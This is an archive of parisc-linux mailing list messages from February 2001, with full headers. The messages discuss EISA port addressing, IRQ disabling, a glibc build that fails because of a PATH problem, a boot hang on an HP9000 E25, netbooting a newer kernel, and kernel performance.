disable_irq_nosync() returns immediately. The parisc version of
disable_irq() seems to be what disable_irq_nosync() is on the i386. 

Best Regards,
 
/Daniel

-- 






From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some progress with WAX_EISA (Who knows about int errupts?)
Date: Sun, 18 Feb 2001 16:26:47 -0800
Lines: 47
Approved: news@gmane.org
Message-ID: <200102190026.QAA15382@milano.cup.hp.com>
References: <200102182302.AAA30325@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619877 15744 80.91.229.3 (22 Nov 2014 01:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:17 +0000 (UTC)
Cc: alex@linuxcare.com, parisc-linux@lists.parisc-linux.org
To: 5116@telia.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 17:24:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BCD44A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 17:24:01 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 2F7671579; Sun, 18 Feb 2001 16:24:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA15382;
	Sun, 18 Feb 2001 16:26:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 19 Feb 2001 00:02:09 PST."
             <200102182302.AAA30325@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:10283

5116@telia.com wrote:
> On 18 Feb, Grant Grundler wrote:
> > That's not true. The "virtualized" bus numbers I think are confusing you.
> > Treat the addresses as "handles" to the address space and the EISA bus
> > support can strip off the bus number to get the real I/O Port address.
> Yes, but ISA drivers vill expect that 0x300 is 0x300 ant not 0x20300.

What you are telling me is the ISA drivers poke around using hardcoded
addresses they "know" about. My proposal is still useful but WAX/EISA
needs to reserve HBA 0.

> PCI drivers all get their port addresses from probing the bus so they
> will 'just work'.

The physical PCI Port addresses are virtualized by the linux PCI
"BIOS" layer. PCI Drivers don't go poking around on the bus on their own.

...
> Yes, I had some idea in this direction to, are we sure this belongs in
> the PCI layer? It might be thought of as an IO switch above the
> PCI/EISA/what-ever as well.

inb/outb is a "PCI-like" layer.  inb/outb happens to be implemented in
"PCI" code (pci.h) since that worked first.  If you have an idea of
where inb/outb switch ought to "live", I'm curious.

> Well the i386 version is that disable_irq() waits until all pending
> interrupts on the local processor have been serviced while
> disable_irq_nosync() returns immediately. The parisc version of
> disable_irq() seems to be what disable_irq_nosync() is on the i386. 

Uhm. I still don't see the distinction.
"nosync" suggests an interaction with other CPU's?

A CPU will *always* service IRQ's before the CPU continues with
"regular" code.  disable_irq() guarantees no *new* interrupts
will occur until enable_irq() is called. I don't totally understand
the CONFIG_SMP version of that code though.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Mon, 19 Feb 2001 02:12:58 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <3A90C77A.634C2FBF@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619877 15748 80.91.229.3 (22 Nov 2014 01:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:17 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 00:13:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.40.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD4E14A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 00:13:24 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-241-153.pittpa.adsl.bellatlantic.net [151.201.241.153])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id CAA00645
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 02:13:13 -0500 (EST)
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10284

Hello,

Following the recipe for building the toolchain, I got stuck building
glibc.

The configure error message is:

$ROOT/source/glibc/configure --host=hppa-linux --build=$MACH 
--prefix=$DEST/hppa-linux --with-headers=$ROOT/source/linux/include 
--disable-profile --without-cvs --enable-add-ons
[...]
checking for assembler line separator... *** You need a newer assembler
to compile glibc


The log contains:

configure:2942: checking for assembler line separator
configure:2949: gcc -v -Wa,-v -c  conftest.s 1>&5
Reading specs from /usr/lib/gcc-lib/i486-suse-linux/2.95.2/specs
gcc version 2.95.2 19991024 (release)
 /usr/i486-suse-linux/bin/as -V -Qy -v -o conftest.o conftest.s
GNU assembler version 2.9.5 (i486-suse-linux) using BFD version
2.9.5.0.24
conftest.s: Assembler messages:
conftest.s:1: Error: invalid character '_' in mnemonic

The binaries called and the version numbers are shown. Do I need to
upgrade the assembler or is it a PATH misconfiguration? Thanks.

-- 
     Rafael




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Florent Guiliani" <fguiliani@perinfo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] E25 lock-up during boot.
Date: Mon, 19 Feb 2001 09:34:49 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <000901c09a4e$d317c1d0$6400030a@florent>
References: <3A8F20D1.20B10E28@tds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619877 15752 80.91.229.3 (22 Nov 2014 01:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:17 +0000 (UTC)
Cc: "Nicolas Parpandet (E-mail)" <nparpand@perinfo.com>
To: "'Scott Eggert'" <seggert@tds.net>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 01:35:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lune.perinfo.com (AStrasbourg-201-2-1-11.abo.wanadoo.fr [193.251.1.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1E2E4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 01:35:10 -0700 (MST)
Original-Received: from florent (florent [10.3.0.100])
	by lune.perinfo.com (8.9.3/8.9.3) with SMTP id JAA08277;
	Mon, 19 Feb 2001 09:33:12 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
In-Reply-To: <3A8F20D1.20B10E28@tds.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10285

I have exactly the same problem!

> -----Message d'origine-----
> De : parisc-linux-admin@lists.parisc-linux.org
> [mailto:parisc-linux-admin@lists.parisc-linux.org]De la part de Scott
> Eggert
> Envoy : dimanche 18 fvrier 2001 02:10
>  : parisc-linux@lists.parisc-linux.org
> Objet : [parisc-linux] E25 lock-up during boot.
>
>
> I am attempting to ge PA installed on a HP9000 E25.  I am
> able to boot from the
> 0.5 CD image, however it locks-up during the boot.  Any ideas?
>
> Here is the boot output:
>
> Main Menu: Enter command or menu > bo 56/52.4
> Interact with IPL (Y or N)?> n
>
> Booting...
> Boot IO Dependent Code (IODC) revision 4
>
>
> HARD Booted.
> palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
> 0/vmlinux 2140145 bytes @ 0x6f9800
> 0/palo-cmdline '0/vmlinux ROOT=/ TERM=LINUX root=/dev/scd0'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
>
> Entry 00100150 first 00100000 n 4
> Segment 0 load 00100000 size 1460344 mediaptr 0x1000
> Segment 1 load 00266000 size 179048 mediaptr 0x166000
> Segment 2 load 00294000 size 109876 mediaptr 0x192000
> Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
> branching to kernel entry point 0x00100150
> Set default PSW W bit to 0
> PDC Console Initialized
> The 32-bit Kernel has started...
> Enabled FP coprocessor
> Free memory starts at: 0xc02da000
> (0x504d6c,0x504d6c,0x0,0x0)
> PALO command line: 'ROOT=/ TERM=LINUX root=/dev/scd0'
> PALO initrd 0-0
> model   00004800 00000481 00000000 00000000 76d05eab 100000f0
> 00000004 00000072
> 00000072
> vers    0000000b
> CPUID vers 0 rev 0
> Searching for devices in PDC firmware... processor hpa 0xfffbe000
> a newer box...
> Found devices:
> 1. Orville UX Core BA (11) at 0xf0100000, versions 0x12, 0x0,
> 0x81, 0x0, 0x0
> 2. Orville Core Lan (802.3) (10) at 0xf0107000, versions
> 0x12, 0x0, 0x8a, 0x0, 0
> x0
> That's a total of 2 devices.
> No CPUs reported by firmware - probing...
> Found CPU at fffbe000
> CPU(s): 1 x PA7100LC (PCX-L) at 48.000000 MHz
> Linux version 2.4.0-test6
> (pjlahaie@elenuial.thepuffingroup.com) (gcc version 2.
> 96 20000925 (experimental)) #32 Mon Nov 6 10:20:58 EST 2000
> free_bootmem(0x2dc000, 0xfd24000)
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 65536
> zone(0): 32768 pages.
> zone(1): 32768 pages.
> zone(2): 0 pages.
> Kernel command line: ROOT=/ TERM=LINUX root=/dev/scd0
> trap_init
> Calibrating delay loop... 47.82 BogoMIPS
> Memory: 254336k available
> Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
> Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
> Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
> Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xf0100000 found.
>
>
>
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Florent Guiliani" <fguiliani@perinfo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] E25 lock-up during boot.
Date: Mon, 19 Feb 2001 09:44:35 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <000c01c09a50$30250e90$6400030a@florent>
References: <01021811393800.31489@P100.helgenet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619877 15756 80.91.229.3 (22 Nov 2014 01:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:17 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Helge Deller'" <deller@gmx.de>,
	"'Matthew Wilcox'" <matthew@wil.cx>,
	"'Scott Eggert'" <seggert@tds.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 01:45:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lune.perinfo.com (AStrasbourg-201-2-1-11.abo.wanadoo.fr [193.251.1.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id A96224A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 01:45:17 -0700 (MST)
Original-Received: from florent (florent [10.3.0.100])
	by lune.perinfo.com (8.9.3/8.9.3) with SMTP id JAA08389;
	Mon, 19 Feb 2001 09:42:58 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
In-Reply-To: <01021811393800.31489@P100.helgenet.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10286

How to replace the kernel by a newer in a bootable ISO file ?

> -----Message d'origine-----
> De : parisc-linux-admin@lists.parisc-linux.org
> [mailto:parisc-linux-admin@lists.parisc-linux.org]De la part de Helge
> Deller
> Envoy : dimanche 18 fvrier 2001 11:40
>  : Matthew Wilcox; Scott Eggert
> Cc : parisc-linux@lists.parisc-linux.org
> Objet : Re: [parisc-linux] E25 lock-up during boot.
>
>
> On Sunday 18 February 2001 02:52, Matthew Wilcox wrote:
> > On Sat, Feb 17, 2001 at 07:09:37PM -0600, Scott Eggert wrote:
> > > I am attempting to ge PA installed on a HP9000 E25.  I am
> able to boot
> > > from the 0.5 CD image, however it locks-up during the
> boot.  Any ideas?
> >
> > Which part of `E class is not supported' is hard to understand?  :-)
> >
> > > Searching for devices in PDC firmware... processor hpa 0xfffbe000
> > > a newer box...
> > > Found devices:
> > > 1. Orville UX Core BA (11) at 0xf0100000, versions 0x12,
> 0x0, 0x81, 0x0,
> > > 0x0 2. Orville Core Lan (802.3) (10) at 0xf0107000,
> versions 0x12, 0x0,
> > > 0x8a, 0x0, 0 x0
> > > That's a total of 2 devices.
> > > No CPUs reported by firmware - probing...
> > > Found CPU at fffbe000
> > > POSIX conformance testing by UNIFIX
> > > Lasi version 0 at 0xf0100000 found.
> >
> > Having said that, I bet this is the same problem as FAQ 9:
> >
> > I'm booting parisc linux on an early Series 700 workstation, and the
> > machine hangs after printing:
> >
> > ASP version 1 at ..... found
> >
> > What's going on?
> >
> > This was a bug in the parallel port driver, which was fixed
> in CVS on
> > 2000-11-29. You can workaround the problem by using a newer
> kernel or
>
> The FAQ is wrong at this point.
> You will need a kernel which is newer than 2001-02-16
> (http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001
> -February/028548.html)
> Maybe I should fix the FAQ again ASAP :-)
>
> > by reconfiguring your kernel and removing support for the
> parallel port
> > (CONFIG_PARPORT_GSC).
> >
> >
> > But... there's no Lasi in an E-class.  Something's wrong
> with our detection
> > routines, perhaps.  I admit to being curious about the
> `Core Lan' that's
> > reported -- maybe it'll work.
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Mon, 19 Feb 2001 19:49:34 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102191946290.23583-100000@front.linuxcare.com.au>
References: <3A90C77A.634C2FBF@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619878 15759 80.91.229.3 (22 Nov 2014 01:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:18 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 01:49:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EBFF4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 01:49:41 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA24097;
	Mon, 19 Feb 2001 19:49:35 +1100
In-Reply-To: <3A90C77A.634C2FBF@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10287

On Mon, 19 Feb 2001, Rafael E. Herrera wrote:

> checking for assembler line separator... *** You need a newer assembler
> to compile glibc
>[snip]
>  /usr/i486-suse-linux/bin/as -V -Qy -v -o conftest.o conftest.s

Oops, this is an x86 assembler.

> The binaries called and the version numbers are shown. Do I need to
> upgrade the assembler or is it a PATH misconfiguration? Thanks.

You need the hppa-linux assembler installed and available on your PATH.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.






From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc
Date: Tue, 20 Feb 2001 02:01:28 +1100 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102200141050.23583-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619878 15761 80.91.229.3 (22 Nov 2014 01:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 08:01:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id C482D4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 08:01:30 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA03121
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 02:01:28 +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10288

Hi,
  I've just merged our devel branch gcc down to the trunk.  For anyone who
wants to build it, the procedure is more or less as before, _except_
that to build just the C compiler you do

	configure blah blah --enable-languages=c
	make

instead of

	configure blah blah
	rm some_dirs
	make LANGUAGES=c

Believe it or not, I have actually updated the recipe to reflect these
changes, but will hold off committing until snapshots appear.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Test on 705
Date: Mon, 19 Feb 2001 15:39:11 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20010219153911.S1374@linuxcare.com>
References: <20010216084830.K1374@linuxcare.com> <Pine.LNX.4.31.0102172122570.3166-100000@kiste.innnet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619878 15763 80.91.229.3 (22 Nov 2014 01:31:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kevin Read <obsidian@panokratie.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 08:39:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20C2E4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 08:39:58 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B7500B005; Mon, 19 Feb 2001 15:39:11 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.31.0102172122570.3166-100000@kiste.innnet.de>; from obsidian@panokratie.de on Sat, Feb 17, 2001 at 09:24:06PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10289

On Sat, Feb 17, 2001 at 09:24:06PM +0100, Kevin Read wrote:
> 
> 
> On Fri, 16 Feb 2001, Richard Hirst wrote:
> 
> > On Fri, Feb 16, 2001 at 12:18:53AM +0100, Kevin Read wrote:
> > >
> > > Hi folks,
> 
> > > devices and I couldn't find any packets from the box on the net.
> >
> > This looks to me very much like the problems with 710(bushmaster),
> > where things basically work, but interrupts from the scsi and ethernet
> > chips just never get seen by the cpu.
> >
> > We need info from someone with access to hp documentation to fix
> > these systems, I think.
> 
> You wouldn't know who I could pester until I got this stuff? ;)

<http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011665.html>

might be a starting point.  I think people that can help just have
other priorities at the moment.

Richard




From - Thu Nov 08 21:16:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Mon, 19 Feb 2001 11:19:42 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <3A91479E.9C9EB68A@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102191946290.23583-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619879 15767 80.91.229.3 (22 Nov 2014 01:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:19 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 09:19:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.40.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24A784A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 09:19:46 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-241-153.pittpa.adsl.bellatlantic.net [151.201.241.153])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id LAA22537
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 11:19:59 -0500 (EST)
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10290

Alan Modra wrote:
> 
> On Mon, 19 Feb 2001, Rafael E. Herrera wrote:
> 
> > checking for assembler line separator... *** You need a newer assembler
> > to compile glibc
> >[snip]
> >  /usr/i486-suse-linux/bin/as -V -Qy -v -o conftest.o conftest.s
> 
> Oops, this is an x86 assembler.
> 
> > The binaries called and the version numbers are shown. Do I need to
> > upgrade the assembler or is it a PATH misconfiguration? Thanks.
> 
> You need the hppa-linux assembler installed and available on your PATH.

The PATH needs to include both of these entries:

PATH=~/palinux/bin:~/palinux/hppa-linux/bin:$PATH

I had just first one before.

-- 
     Rafael




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E25 lock-up during boot.
Date: Mon, 19 Feb 2001 17:21:40 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010219172140.J899@parcelfarce.linux.theplanet.co.uk>
References: <01021811393800.31489@P100.helgenet.de> <000c01c09a50$30250e90$6400030a@florent>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619879 15771 80.91.229.3 (22 Nov 2014 01:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:19 +0000 (UTC)
Cc: 'Helge Deller' <deller@gmx.de>,
	'Matthew Wilcox' <matthew@wil.cx>, 'Scott Eggert' <seggert@tds.net>,
	parisc-linux@lists.parisc-linux.org
To: Florent Guiliani <fguiliani@perinfo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 10:21:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1FDA4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 10:21:56 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Uu0K-0007cX-00; Mon, 19 Feb 2001 17:21:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <000c01c09a50$30250e90$6400030a@florent>; from fguiliani@perinfo.com on Mon, Feb 19, 2001 at 09:44:35AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10291

On Mon, Feb 19, 2001 at 09:44:35AM +0100, Florent Guiliani wrote:
> How to replace the kernel by a newer in a bootable ISO file ?

you'll need another linux machine around for this, but:

edit /etc/exports to export /tftpboot to your PA box
mount the cd inside /tftpboot
create a symlink from the cd to the ip address of the machine
	(eg ln -s cd 192.168.2.56)
set up bootp/tftp or rbootd (depending on the age of your machine)

et voila.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] High Performance LINUX kernel on 720 !
Date: Mon, 19 Feb 2001 23:57:28 +0100
Organization: private
Lines: 30
Approved: news@gmane.org
Message-ID: <3A91A4D8.6CB4A9B0@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619879 15774 80.91.229.3 (22 Nov 2014 01:31:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 19 15:57:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A995D4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Feb 2001 15:57:31 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-035.dot.at [212.9.128.75])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id AAA01853
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 00:10:43 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10292

Hi PA RISC Hackers ?

What have you done with the kernel since 2001-01-13 ?

Today I built a kernel (2001-02-19) and I cannot image.
It is absolutly fast, very fast.

I was so disappointed of the performace before, perhaps the NFS (Root)
speed (net) or whatever.
